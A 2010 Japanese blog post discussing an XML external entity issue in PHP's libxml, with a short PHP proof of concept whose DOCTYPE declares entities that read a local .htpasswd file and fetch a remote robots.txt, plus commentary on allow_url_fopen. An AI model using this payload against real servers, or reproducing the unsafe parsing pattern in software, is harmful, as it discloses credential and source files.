Did you know of this cool libxml feature/vulnerability ?

2010-02-07 19:40 / hittings

This is the entity loader. It’s possible to set your own loader: http://xmlsoft.org/xmlio.html#entities with your own policies. Actually my PHP fails to load the http entity, because allow_url_fopen is disabled in php.ini.EDIT: fix allow_url_fopen underscores

via Did you know of this cool libxml feature/vulnerability ? : programming.

試しに、参照されているコードを以下に挙げておく。

<?php
$document= <<<EOF
<?xml version=”1.0″?>
<!DOCTYPE root [
<!ENTITY robots SYSTEM "http://hogehoge.com/robots.txt">
<!ENTITY foobar SYSTEM ".htpasswd">
]>
<root>
&foobar;
&robots;
</root>
EOF;

$xml = new DOMDocument();
$xml->loadXML($document);
foreach ($xml->getElementsByTagName(‘root’) as $e)
echo $e->nodeValue;

上記のうち、”http://hogehoge.com/robots.txt” の部分を書き替えて、任意のサイトの robots.txt を指定してみよう。それから、このスクリプトと同じ階層に、.htpasswd をダミーとして置く。すると、このスクリプトを走らせると、robots.txt はどうでもいいとして、その次に指定してある .htpasswd の中身をスクリプトが表示してしまうのである。上記は仮の XML ファイルをパースしているが、もしユーザから任意の XML ファイルをアップロードできるようなサイトで上記のコードを実行すると、誰でもそのサーバの任意のプログラムコードを表示できることになる。もちろん、reddit.com で語られているように、これは libxml というよりも allow_url_fopen ディレクティブがデフォルトで有効になっており、これを無効にしていないサーバも多いという点にも問題がある。

僕の場合、そもそも libxml は使わんけど。なぜなら、僕らは受託案件で開発しクライアントのサーバへ実装することが多いため、よほどの事情でもない限り、もし無効であった場合に顧客へ再コンパイルを要請しなくてはならないようなモジュールを当てにして開発などできないからだ。XML をパースするなら、ZF のようなフレームワークを使うなり、自力で書いたパーサ・ライブラリを使う。代理店の営業さんとクライアントの「ウェブ担当者」さんを経由して、相手方の鯖管に再コンパイルを要請するなんていう、疑似 IT ゼネコンみたいな仕事のやり方をしていたら、詰まったウンコが出なくて逆にゲロを吐いてる病人みたいになってしまいます。

コメントがあればどうぞ

monthly archives

yearly archives

archive

microformat (vCard)

KAWAMOTO Takayuki

Mr. KAWAMOTO Takayuki
also known as philsci
(birth day: Sep 20 1968)
live in Osaka city, Osaka, Japan.

promotions

accounts